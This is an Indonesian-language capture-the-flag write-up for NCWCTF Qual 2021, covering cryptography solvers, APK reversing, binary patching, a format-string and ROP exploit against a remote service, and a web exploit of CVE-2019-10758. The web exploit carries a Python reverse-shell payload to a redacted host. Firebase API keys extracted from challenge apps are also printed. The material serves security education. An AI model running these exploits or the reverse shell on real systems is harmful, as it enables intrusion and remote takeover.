Panitia CTF

ā† Back

NCWCTF Qual 2021

Super Common (Cryptography)

Diberikan file output hasil xor sebuah paragraf dengan deretan bilangan random. Setiap kalimat dalam paragraf tersebut di XOR dengan deretan bilangan yang sama, sehingga jika dapat mengekstrak bilangannya dari salah satu kalimat, kita dapat mengenerate sisanya.

Flag didapat dari bruteforce posisi setiap keyword yang diketahui, berikut solver untuk bruteforcenya:

import binascii
import string
from Crypto.Util.number import *

output = open('output').read().split('\n')
cipher = [binascii.unhexlify(x.encode()) for x in output][:-1]

keyword = b'CSCTF{'
for now_c in cipher:
	for start in range(len(now_c) - len(keyword)):
		num = bytes([now_c[start+i] ^ keyword[i] for i in range(len(keyword))])

		chunk = []
		for c in cipher:
			tmp = bytes([c[start+i] ^ num[i] for i in range(min(len(keyword), len(c) - start))])
			stat = True
			for x in tmp:
				stat &= bytes([x]).decode() in string.printable
			if (stat):
				chunk.append(tmp)
		print(chunk)

Ketika dimasukkan keyword = ā€œCSCTF{ā€œ, terdapat salah satu output

743d47854c1d1c479f9b8d68d26b4c651fcffa51.png

dari hasil tersebut, kita dapat menebak keyword "By itself" dan outputnya menjadi:

0fc23c629887e18abcb27a6ac0831c64a71fe004.png

keyword baru yang dapat ditebak selanjutnya adalah "The XOR cipher"

d0710bdc0708a2a849c36733f570e3dfb060c24e.png

begitu seterusnya dan ternyata paragraf tersebut diambil dari sumber https://en.wikipedia.org/wiki/XOR_cipher#Use_and_security

Ketika dimasukkan keyword : ā€œIf the key is random and is at least as long as the messageā€ didapat output:

151d01555f769e9b0cc4b6ca1eb688ce75256b41.png

Totally Normal Encoding (Cryptography)

Enkripsi dilakukan perblok dan tidak ada batasan input. Jadi ya daripada pusing-pusing nyari pola, udah kita bruteforce saja āœŒļø

bruteforce semua kemungkinan setiap 3 karakter (karena 1 blok cipher memuat 3 karakter plaintext):

for x in itertools.product(string.printable, repeat = 3):
    x = b"".join([binascii.hexlify(str(i).encode()) for i in x])
    print (x.decode())

Kemudian, kirim semua kemungkinan dan buat map hasil encodenya dengan wordlist yang sesuai.

from pwn import *
import string
import itertools
import binascii
import time

def chunks(lst, n):
    """Yield successive n-sized chunks from lst."""
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

wl = open('wl').readlines()

wl_chunk = list(chunks(wl, len(wl)//3 + 1))
repl = []

conn = remote('165.22.101.113', 5000)
resp = conn.recvuntil('>>>')

cipher = resp.split(b'for the flag : ')[1].split(b'\n')[0]
print('Cipher : ', cipher)

final_wl = []
final_rep = []

for i in range(3):
    w_join = ''.join([x for x in wl_chunk[i]]).replace('\n', '')

    conn.sendline(w_join.encode())
    repl = conn.recvline()[1:-1]
    if (i < 2):
        dumm = conn.recvuntil('>>>')

    w_join_chunk = list(chunks(w_join, 6))
    repl_chunk = list(chunks(repl, 4))

    for i in range(len(repl_chunk)):
        final_wl.append(w_join_chunk[i])
        final_rep.append(repl_chunk[i])

Flag didapat dengan cara mencocokkan setiap huruf pada cipher dengan hasil map

cipher_chunk = list(chunks(cipher, 4))

flag = [''] * len(cipher_chunk)

for j, part in enumerate(cipher_chunk):
    for i, x in enumerate(final_rep):
        if part == x :
            print(binascii.unhexlify(final_wl[i].encode()))
    print ()
    print ()

a66ed2f0468f971f2f38e52c8ebc402990408d24.png

Ternyata setiap blok cipher dapat menghasilkan banyak kemungkinan karakter, terakhir tinggal ditebak-tebak aja flag yang memungkinkan apa.

XORtastic 6 (Cryptography)

Kami menggunakan xortool untuk melakukan bruteforce key file tersebut

bea7379480bdac3cb458d6c1c7657997bacf77e7.png

import pwn

open('result', 'w+').write(
    pwn.xor(open('encrypted').read(), "\x86`\x13C\xe8\x8c")
)

53ba100d408c80911a40ec1a88387f521b402d2e.png

Didapat header PK dan [Content_Types].xml yang merupakan header dari file docx

Secret Manager (Reverse Engineering)

Decompile apk kemudian ambil data res/values/strings.xml

apktool d SecretManager.apk
[...SNIP...]
<string name="google_api_key">AIzaSyAwprB--djKT8Xk8TyGQRlXvVShDKEW0DY</string>
<string name="google_app_id">1:612626071234:android:a9bf998a527b789a3fc55b</string>
<string name="google_crash_reporting_api_key">AIzaSyAwprB--djKT8Xk8TyGQRlXvVShDKEW0DY</string>
<string name="google_storage_bucket">cscctf-220f3.appspot.com</string>
<string name="project_id">cscctf-220f3</string>
[...SNIP...]

Kemudian lanjut decompile dengan jadx untuk melihat flow dari apps tersebut

2d6fe7882312c50546ab0abbba2c324ef7df2b80.png

Didapat string key dan iv yang dapat digunakan untuk decrypt AES

5aafb093fd69b32ff35a26b73304a0dd92789d15.png

Kemudian apps tersebut melakukan request ke firestore untuk fetch collection c dan document d, karena kita punya akses ke firestore nya, langsung saja kita gas

e59dd63da6496d608988bd52906cd4bc97c540f6.png

from Crypto.Cipher import AES
import pwn

key = b'iw2y4rs8z8po4523'
iv = b'4hhmv78hp4wcg7wh'

cipher = AES.new(key, AES.MODE_CBC, iv)

print(cipher.decrypt(
    pwn.b64d('RYSFGR1DI5e3CtbH99OGxA1OovdYX348xe+oWU9soLLIFUYhYiIYbB7jQTk6Z+lB0xoSsFcQwewYKTLd9p5HMw==')
))

Flag Shop (Reverse Engineering)

Sama dengan challenge sebelumnya kami fetch terlebih dahulu file strings.xml

[...SNIP...]
<string name="google_api_key">AIzaSyCeFe0hvCpr7Gs2z8tg-ROkBc7HEYCfO0Q</string>
<string name="google_app_id">1:1092191869430:android:efeed249a1f974225b4fd7</string>
<string name="google_crash_reporting_api_key">AIzaSyCeFe0hvCpr7Gs2z8tg-ROkBc7HEYCfO0Q</string>
<string name="google_storage_bucket">cscctf---flag-shop.appspot.com</string>
<string name="project_id">cscctf---flag-shop</string>
[...SNIP...]

a1bac58fbe4485056944ef81903c14fececb179e.png

Sepertinya intended solutionnya memang harus dynamic analysis menggunakan frida, tapi kita malah langsung ngintip ke firestore nya xixixi

Patch the World (Reverse Engineering)

81f402ed5ba9b0e354cefabeda167ae83718e6f4.png

Dilakukan patch return dari _ptrace menjadi 1 agar bisa di debug

a8347111f52a277e9f5c262302cf666bd99cb78d.png

Didapat return dari calckey 0x7fffffff lohh kobisa seharusnya kan 19

Ternyata sebelum di return dilakukan casting dengan unsigned integer, yaudin tinggal direplace jadi 19

ad8dc2207da875e6e56f9fbe41e130ebd4cd384e.png

NB: Setelah mengoreksi ulang writeup secara seksama, ternyata bukan masalah casting juga tetapi operasi iā€” pada perulangan diatas, kami mengira sebelumnya operasi i++ dah lah hoki wkwk

a891004f4c816f397775770ef7b2ad4352bfb1d7.png

Ez Blind (Binary Exploitation)

Hanya diberikan ip dan port, tanpa binary yang akan di exploit ?!?!!??šŸ˜”

Dengan ilmu kanuragan anti guna guna, kami dengan sabar melakukan fuzzing pada beberapa menu yang disediakan pada service soal tersebut

  • Add Name: Terdapat celah format string
  • Write Note: Terdapat celah bof
from pwn import *

r = remote('165.22.101.113', 11101)

## https://libc.blukat.me/?q=__libc_freeres%3Aa60%2Csystem%3A410%2Cprintf%3Ae10
libc = ELF('libc.so', checksec=False)

def nuke(payload, suffix=False, free=True):
    r.sendlineafter('> ', '1')
    r.sendafter(': ', payload)

    if suffix:
        r.recvuntil('Name ')
        datas = r.recvuntil(suffix, drop=True)
    else:
        datas = r.recvline().strip()

    if free:
        r.sendlineafter('> ', '2')
        r.sendlineafter(': ', '0')
    
    return datas

def dynleak(addr):
    datas = nuke('%9$s#$$#{}'.format(p64(addr)), '#$$#')
    if 'null' not in datas:
        return datas + '\x00'
    else:
        return '\x00'

can = int(nuke('%11$p\n').split()[1:-2].pop(), 16)

## leak base addr
base_addr = int(nuke('%64$p\n').split()[1:-2].pop(), 16)

temp, logger = '', log.progress('Leak base_addr')
while True:
    logger.status(hex(base_addr))
    temp = nuke('%9$s....{}'.format(p64(base_addr)))
    if 'ELF' in temp:
        logger.success(hex(base_addr))
        break
    
    base_addr -= 8

d = DynELF(dynleak, base_addr)
dynamic_addr = d.dynamic
freeres_addr = d.lookup('__libc_freeres', 'libc')
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')

libc.address = system_addr - libc.symbols['system']

pop_rdi = libc.address + 0x26b72
ret = libc.address + 0xc0533
sh = libc.search('/bin/sh').next()

r.sendlineafter('> ', '3')
r.sendlineafter(': ', ''.join([
    '\x90' * 40,
    p64(can),
    'pwnitia!',
    p64(ret),
    p64(pop_rdi),
    p64(sh),
    p64(system_addr)
]))

r.interactive()

7955620599e6cb123124d6e85850dacfff8c2cfd.png

HIBPBP (Web Exploitation)

1a7a6ce095e7b0f00bd842c50e670021a3e7abd5.png

Didapat vuln function toBSON yang bisa digunakan untuk RCE (https://nvd.nist.gov/vuln/detail/CVE-2019-10758)

POST /users/register HTTP/1.1
Host: 165.22.101.113:50001
[...SNIP...]
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="email"

huhu@a.com
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="password"

huhu
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="favCollection"

gmail
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="proofOwnership"; filename="ngehe"
Content-Type: text/plain

this.constructor.constructor("return process")().mainModule.require("child_process").execSync("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"REDACTED\",2121));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'")
------WebKitFormBoundaryvJedL3geG9GN0sKg--

fd31916b3ec0b24b820441a545eb4b1ed419e577.png

Forensic

14efd1995bf979f009e1000e18e4353cca5aa796.png